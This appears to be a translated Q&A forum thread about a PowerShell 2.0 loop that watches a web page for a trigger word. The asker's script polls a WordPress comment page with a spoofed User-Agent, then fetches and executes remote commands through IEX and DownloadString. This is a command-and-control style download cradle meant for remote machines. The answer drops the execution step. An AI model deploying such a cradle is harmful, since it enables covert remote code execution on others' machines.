Powershell | DownloadString | 外部网站 | 返回

Powershell | DownloadString | 外部网站 | 返回

我完全是一个 powershell 新手,所以请多包涵 ;)

我正在尝试编写一个脚本,让一台机器检查外部网站,等待单词“测试”以执行下载。事情是这样的:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

我正在运行 powershell 2.0。Windows7

发生了什么:

  • 下载不是通过互联网进行的
  • 这不是来自 IP 或路径的问题

我接下来要做的事情:

  • 我直接在 powershell 提示符中写下不同的命令:

-->While($True) 启动一个无限循环而不退出。

为了完成这个技巧,我需要“双击键盘上的返回键”,循环结束,然后最终执行“downloadstring”命令。

还记得我还是个新手吗?:(

  • 我试过“休息” “返回”或者“出口”但无法退出循环。
  • 我也尝试在脚本中输入多次双回车,但都没有成功。

有人可以告诉我如何做这件简单的事情吗......?:)

多谢。

更新 这些小代码应该由不同地方的不同人使用(这是网站被驱逐的原因之一),而我就是无法将远程机器更新到较新版本的 powershell。如果有人有 Microsoft powershell 专家在身边,那将是一个巨大的帮助。谢谢大家。

答案1

好的,这里有一个简单的例子,说明我认为您正在尝试做的事情:

$Path = New-Object System.Uri("http://localwire.pl/");
$WebClient = New-Object Net.WebClient;
$Word = "PhraseThatDoesNotExist"

While ($True){

    $Result = $WebClient.DownloadString($Path);
    $Found = $Result.Contains($Word);

    If ($Found){
        $Path = New-Object System.Uri("http://stackoverflow.com");
        $NewResult = $WebClient.DownloadString($Path);
        Write-Host "Found!"
        Break;
    } Else {
        Write-Host "Not found!"
    }
    Start-Sleep -s 5
}

我们正在下载一个网页,如果其中包含我们正在寻找的短语,我们将下载另一个网页。我希望我理解正确。如果没有,请告诉我们您到底需要什么。

相关内容